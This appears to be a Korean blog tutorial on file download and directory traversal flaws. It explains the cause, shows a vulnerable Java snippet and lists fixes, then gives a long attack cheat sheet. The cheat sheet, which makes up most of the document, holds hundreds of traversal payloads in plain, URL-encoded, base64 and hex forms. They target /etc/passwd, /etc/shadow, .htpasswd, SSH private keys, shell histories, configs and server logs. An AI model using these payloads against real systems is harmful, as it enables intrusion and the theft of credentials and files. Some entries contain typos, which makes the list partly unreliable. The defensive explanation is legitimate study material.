파일 다운로드 취약점

File Download Vulnerability란?

파일 다운로드 기능이 존재하는 웹에서 파일 다운로드 시 파일의 경로 및 파일명을 파라미터로 받아 처리하는 경우 이를 적절히 필터링 하지 않으면 공격자가 이를 조작하여 허용되지 않은 파일을 다운 받을 수 있는 취약점(다운로드 대상 파일이 위치한 디렉토리를 벗어나 다른 경로에 있는 파일까지 접근 가능하게 하는 취약점 )이다.

즉, 다른 경로에 파일까지 접근 가능한 것을 말한다.

상대 경로와 절대 경로

파일 다운로드는 절대 경로를 이용하거나 상대경로를 이용하는 2가지 방식 존재한다.

상대 경로: 현재 위치한 곳을 기준으로 하여 그곳의 위치

ex) www.test.com/files/download.php path=/files/binary&filename=download file.exe

절대 경로: 웹 페이지나 파일이 가지고 있는 고유한 경로

ex) www.test.com/files/download file.exe

취약점이 발생하는 원리는 무엇인가?

- 다운로드 파일의 위치에 대한 보안이 되어있지 않을 경우(파일 다운로드 시 파일의 절대 경로 또는 상대 경로 노출)

- 다운로드 모듈이 파일 경로나 이름을 파라미터로 사용하는 경우

-> 지정된 파일 이외에 다른 위치에 있는 파일들에 접근 및 다운로드 가능

- "../" (상위 디렉터리로 이동) 등의 문자를 이용해 웹 서버 루트 디렉토리까지 접근 가능
- 웹 페이지에 파일 다운로드 기능이 없거나 다운로드 스크립트를 통한 파일 다운로드 방식이 아닐 경우 취약점이 존재하지 않음.

-즉, 다운로드 시에 경로를 이용한 URL 파라미터로 다운로드 되는 로직

- 다운로드 경로가 노출되지 않더라도 구조가 단순하여 파라미터 변조를 통해 접근이 허용되지 않은 파일에 접근이 가능할 경우

File Download Vulnerability 보안조치

-시퀀스 넘버를 통해 파일을 다운로드 하도록 구성하면, 직접적으로 경로를 조작할 수 없으므로 다운로드 공격을 예방할 수 있다.

-다운로드 디렉토리를 한정해서 시스템에 존재하는 임의의 파일을 다운로드 받지 못하도록 제한한다.

-상위 디렉토리에 해당하는 ../ 과 같은 문자열을 필터링해야 한다.

Directory Traversal

공격자가 요청 메세지의 URL이나 파라미터를 변경하여 정상적으로 허용하지 않는 기능을 실행하거나 다른 사용자의 리소스에 접근할 수 있는 공격

즉, 사용자에게 허가되지 않은 디렉토리에 접근해 파일을 열람할 수 있는 공격이다.

(www.127.0.0.1/index.php/../../../etc/passwd 과 같이 보여지고 있는 디렉토리가 아닌 상위 디렉토리로 이동하는 공격

취약점이 발생하는 원리는 무엇인가?

상위 디렉터리의 목록을 출력

Directory Traversal 보안조치

-입력 유효성 검사 적용: 디렉토리에 대한 요청을 허용할 경우 요청된 파일명에 상위디렉토리(../), 홈 디렉토리(~/)와 같은 디렉토리 순회 시퀀스나 NULL byte가 존재하는지 검증하고 제거한다.

-인덱스를 통한 파일 참조

요청에 파일 경로나 파일명을 직접 요청하도록 구현하지 않고, 특정 인덱스와 파일을 매칭하여 요청시에는 인덱스를 통해 요청되도록 구현한다.

Directory Listing 이란

웹 서버에서 디렉토리로 접속할 때 해당 디렉토리 내의 파일과 리스트가 보이는 기능이다. 원래 용도는 원하는 문서를 찾아갈 수 있도록 만들어졌지만, 문서의 저장 및 열람이 가능하다는 취약점을 이용해 탈취 및 공격이 이루어진다.

취약한 소스코드 형태

String Filename = request.getParameter("Filename"); -> 파일명을 입력값으로 받음

String Filepath = request.getParameter("Filepath"); -> 파일 경로를 입력값으로 받음

File file=new File(Filepath+Filename); 필터링 없이 경로명+파일명을 조합하여 File객체 생성

그 외

- ../../../../../../boot.ini 또는 ../../../../../../etc.passwd 를 입력하여 파일이 존재하는지 확인

(상위 경로 ../ 경로의 갯수는 상관 없다. 단, 원하는 파일 경로의 개수보다 적으면 안 된다.)

- 403 error 발생 시 디렉터리나 파일이 존재한다는 의미

- boot.ini 파일이 존재하면 windows 계열 OS, passwd 파일이 존재하면 linux 계열 OS (물론 OS 버전에 따라 boot.ini 파일이 존재하지 않을 수도 있음)

-url에서 대소문자를 구분하는가 여부에 따라 OS 구분 가능

-windows 계열 os에서는 대소문자 구분이 없음, Linux 계열 OS에서는 대소문자를 구분

https://mokpo.tistory.com/28#8.%20%EC%9A%B0%ED%9A%8C%20%EA%B8%B0%EB%B2%95

https://webstone.tistory.com/34

디렉토리 접근공격에 사용할 수 있는 cheet sheet

../

..\

..\/

%2e%2e%2f

%252e%252e%252f

%c0%ae%c0%ae%c0%af

%uff0e%uff0e%u2215

%uff0e%uff0e%u2216

..././

...\.\

/???/

Content String:

/etc/master.passwd

/master.passwd

etc/passwd

etc/shadow

/etc/passwd

../etc/passwd

../../etc/passwd

../../../etc/passwd

../../../../etc/passwd

../../../../../etc/passwd

../../../../../../etc/passwd

../../../../../../../etc/passwd

../../../../../../../../etc/passwd

../../../../../../../../../etc/passwd

../../../../../../../../../../etc/passwd

../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../../../../etc/shadow

../../../../../../etc/passwd&=%3C%3C%3C%3C

../../../administrator/inbox

../../../../../../../dev

.htpasswd

passwd

passwd.dat

pass.dat

.htpasswd

/.htpasswd

../.htpasswd

.passwd

/.passwd

../.passwd

.pass

../.pass

members/.htpasswd

member/.htpasswd

user/.htpasswd

users/.htpasswd

root/.htpasswd

db.php

data.php

database.asp

database.js

database.php

dbase.php

admin/access_log

../users.db.php

users.db.php

/core/config.php

config.php

config.js

../config.js

config.asp

../config.asp

_config.php

../_config.php

../config.php

config.inc.php

../config.inc.php

/config.asp

../config.asp

/../../../../pswd

/admin/install.php

../install.php

install.php

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow

..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd

..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow

..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini

/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3NoYWRvdw==

m='../../../../../../../../etc/passwd';

/..\..\..\..\..\..\winnt\win.ini

../../windows/win.ini

..//..//..//..//..//boot.ini

..\../..\../boot.ini

..\../..\../..\../..\../boot.ini

\.....\\\.....\\\.....\\\

=3D "/.." . "%2f..

d:\AppServ\MySQL

c:\AppServ\MySQL

c:WINDOWS/system32/

/C:\Program Files\

/D:\Program Files\

/C:/inetpub/ftproot/

/boot/grub/grub.conf

/proc/interrupts

/proc/cpuinfo

/proc/meminfo

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../etc/httpd/logs/acces_log

../../../../../../../etc/httpd/logs/acces.log

../../../../../../../etc/httpd/logs/error_log

../../../../../../../etc/httpd/logs/error.log

../../../../../../../var/www/log/access_log

../../../../../../../var/www/log/error_log

../../../../../../../var/www/logs/access_log

../../../../../../../var/www/logs/error_log

../../../../../../../var/www/logs/access.log

../../../../../../../var/www/logs/error.log

../../../../../../../usr/local/apache/logs/access_ log

../../../../../../../usr/local/apache/logs/access. log

../../../../../../../var/log/apache/access_log

../../../../../../../var/log/apache2/access_log

../../../../../../../var/log/apache/access.log

../../../../../../../var/log/apache2/access.log

../../../../../../../var/log/access_log

../../../../../../../var/log/access.log

../../../../../../../var/www/logs/error_log

../../../../../../../var/www/logs/error.log

../../../../../../../usr/local/apache/logs/error_l og

../../../../../../../usr/local/apache/logs/error.l og

../../../../../../../var/log/apache/error_log

../../../../../../../var/log/apache2/error_log

../../../../../../../var/log/apache/error.log

../../../../../../../var/log/apache2/error.log

../../../../../../../var/log/error_log

../../../../../../../var/log/error.log

../../../../../../../var/log/mysqlderror.log

../../../../../../../var/log/mysql.log

../../../../../../../var/log/mysql/mysql-bin.log

../../../../../../../var/log/mysql/mysql.log

../../../../../../../var/log/mysql/mysql-slow.log

../../../../../../../var/log/proftpd

../../../../../../../var/log/pureftpd.log

../../../../../../../var/log/pure-ftpd/pure-ftpd.log

../../../../../../../var/log/secure

../../../../../../../var/log/vsftpd.log

../../../../../../../var/log/wtmp

../../../../../../../var/log/xferlog

../../../../../../../var/log/yum.log

../../../../../../../var/mysql.log

~/.atfp_history

~/.bash_history

~/.bash_logout

~/.bash_profile

~/.bashrc

~/.gtkrc

~/.login

~/.logout

~/.mysql_history

~/.nano_history

~/.php_history

~/.profile

~/.ssh/authorized_keys

~/.ssh/id_dsa

~/.ssh/id_dsa.pub

~/.ssh/id_rsa

~/.ssh/id_rsa.pub

~/.ssh/identity

~/.ssh/identity.pub

~/.viminfo

~/.wm_style

~/.Xdefaults

~/.xinitrc

~/.Xresources

~/.xsession

/etc/init.d/apache

/etc/init.d/apache2

/etc/httpd/httpd.conf

/etc/apache/apache.conf

/etc/apache/httpd.conf

/etc/apache2/apache2.conf

/etc/apache2/httpd.conf

/usr/local/apache2/conf/httpd.conf

/usr/local/apache/conf/httpd.conf

/opt/apache/conf/httpd.conf

/home/apache/httpd.conf

/home/apache/conf/httpd.conf

/etc/apache2/sites-available/default

/etc/apache2/vhosts.d/default_vhost.include

/etc/at.allow

/etc/at.deny

/etc/passwd

/etc/shadow

/etc/group

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

/usr/lib/security/mkuser.default

/usr/local/pureftpd/etc/pure-ftpd.conf

/usr/local/pureftpd/etc/pureftpd.pdn

/usr/local/pureftpd/sbin/pure-config.pl

2fetc2fmaster.passwd

2fmaster.passwd

etc2fpasswd

etc2fshadow

2fetc2fpasswd

..2fetc2fpasswd

..2f..2fetc2fpasswd

..2f..2f..2fetc2fpasswd

..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd

..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fshadow

2fboot2fgrub2fgrub.conf

2fproc2finterrupts

2fproc2fcpuinfo

2fproc2fmeminfo

/usr/local/lib/php.ini

/usr/local/php4/httpd.conf

/usr/local/php4/httpd.conf.php

/usr/local/php4/lib/php.ini

/usr/local/php5/httpd.conf

/usr/local/php5/httpd.conf.php

/usr/local/php5/lib/php.ini

/usr/local/php/httpd.conf

/usr/local/php/httpd.conf.ini

/usr/local/php/lib/php.ini

..2fapache2flogs2ferror.log

..2fapache2flogs2faccess.log

..2f..2fapache2flogs2ferror.log

..2f..2fapache2flogs2faccess.log

..2f..2f..2fapache2flogs2ferror.log

..2f..2f..2fapache2flogs2faccess.log

..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2facces_log

..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2facces.log

..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2ferror_log

..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2ferror.log

..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2faccess_log

..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2faccess.log

..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2faccess_ log

..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2faccess. log

..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2faccess_log

..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22faccess_log

..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2faccess.log

..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22faccess.log

..2f..2f..2f..2f..2f..2f..2fvar2flog2faccess_log

..2f..2f..2f..2f..2f..2f..2fvar2flog2faccess.log

..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2ferror_log

..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2ferror.log

..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2ferror_l og

..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2ferror.l og

..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2ferror_log

..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22ferror_log

..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2ferror.log

..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22ferror.log

..2f..2f..2f..2f..2f..2f..2fvar2flog2ferror_log

..2f..2f..2f..2f..2f..2f..2fvar2flog2ferror.log

2fetc2finit.d2fapache

2fetc2finit.d2fapache2

2fetc2fhttpd2fhttpd.conf

2fetc2fapache2fapache.conf

2fetc2fapache2fhttpd.conf

2fetc2fapache22fapache2.conf

2fetc2fapache22fhttpd.conf

2fusr2flocal2fapache22fconf2fhttpd.conf

2fusr2flocal2fapache2fconf2fhttpd.conf

2fopt2fapache2fconf2fhttpd.conf

2fhome2fapache2fhttpd.conf

2fhome2fapache2fconf2fhttpd.conf

2fetc2fapache22fsites-available2fdefault

2fetc2fapache22fvhosts.d2fdefault_vhost.include

2fetc2fpasswd

2fetc2fshadow

2fetc2fgroup

2fetc2fsecurity2fgroup

2fetc2fsecurity2fpasswd

2fetc2fsecurity2fuser

2fetc2fsecurity2fenviron

2fetc2fsecurity2flimits

2fusr2flib2fsecurity2fmkuser.default

L2V0Yy9tYXN0ZXIucGFzc3dk

L21hc3Rlci5wYXNzd2Q=

ZXRjL3Bhc3N3ZA==

ZXRjL3NoYWRvdyUwMA==

L2V0Yy9wYXNzd2Q=

L2V0Yy9wYXNzd2QlMDA=

Li4vZXRjL3Bhc3N3ZA==

Li4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3NoYWRvdyUwMA==

Li4vYXBhY2hlL2xvZ3MvZXJyb3IubG9n

Li4vYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZw==

Li4vLi4vYXBhY2hlL2xvZ3MvZXJyb3IubG9n

Li4vLi4vYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZw==

Li4vLi4vLi4vYXBhY2hlL2xvZ3MvZXJyb3IubG9n

Li4vLi4vLi4vYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZw==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvYWNjZXNfbG9n

Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvYWNjZXMubG9n

Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvZXJyb3JfbG9n

Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvZXJyb3IubG9n

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2FjY2Vzc19sb2c=

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2FjY2Vzcy5sb2c=

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc18gbG9n

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzcy4gbG9n

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvYWNjZXNzX2xvZw==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzc19sb2c=

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvYWNjZXNzLmxvZw==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzcy5sb2c=

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hY2Nlc3NfbG9n

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hY2Nlc3MubG9n

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2Vycm9yX2xvZw==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2Vycm9yLmxvZw==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2wgb2c=

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yLmxvZw==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvZXJyb3JfbG9n

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2Vycm9yX2xvZw==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvZXJyb3IubG9n

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2Vycm9yLmxvZw==

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9lcnJvcl9sb2c=

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9lcnJvci5sb2c=

L2V0Yy9pbml0LmQvYXBhY2hl

L2V0Yy9pbml0LmQvYXBhY2hlMg==

L2V0Yy9odHRwZC9odHRwZC5jb25m

L2V0Yy9hcGFjaGUvYXBhY2hlLmNvbmY=

L2V0Yy9hcGFjaGUvaHR0cGQuY29uZg==

L2V0Yy9hcGFjaGUyL2FwYWNoZTIuY29uZg==

L2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmY=

L3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZg==

L3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25m

L29wdC9hcGFjaGUvY29uZi9odHRwZC5jb25m

L2hvbWUvYXBhY2hlL2h0dHBkLmNvbmY=

L2hvbWUvYXBhY2hlL2NvbmYvaHR0cGQuY29uZg==

L2V0Yy9hcGFjaGUyL3NpdGVzLWF2YWlsYWJsZS9kZWZhdWx0

L2V0Yy9hcGFjaGUyL3Zob3N0cy5kL2RlZmF1bHRfdmhvc3QuaW5jbHVkZQ==

L2V0Yy9wYXNzd2Q=

L2V0Yy9zaGFkb3c=

L2V0Yy9ncm91cA==

L2V0Yy9zZWN1cml0eS9ncm91cA==

L2V0Yy9zZWN1cml0eS9wYXNzd2Q=

L2V0Yy9zZWN1cml0eS91c2Vy

L2V0Yy9zZWN1cml0eS9lbnZpcm9u

L2V0Yy9zZWN1cml0eS9saW1pdHM=

L3Vzci9saWIvc2VjdXJpdHkvbWt1c2VyLmRlZmF1bHQ=

2f6574632f6d61737465722e706173737764

2f6d61737465722e706173737764

6574632f706173737764

6574632f736861646f77253030

2f6574632f706173737764

2f6574632f706173737764253030

2e2e2f6574632f706173737764

2e2e2f6574632f706173737764253030

2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764253030

2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764

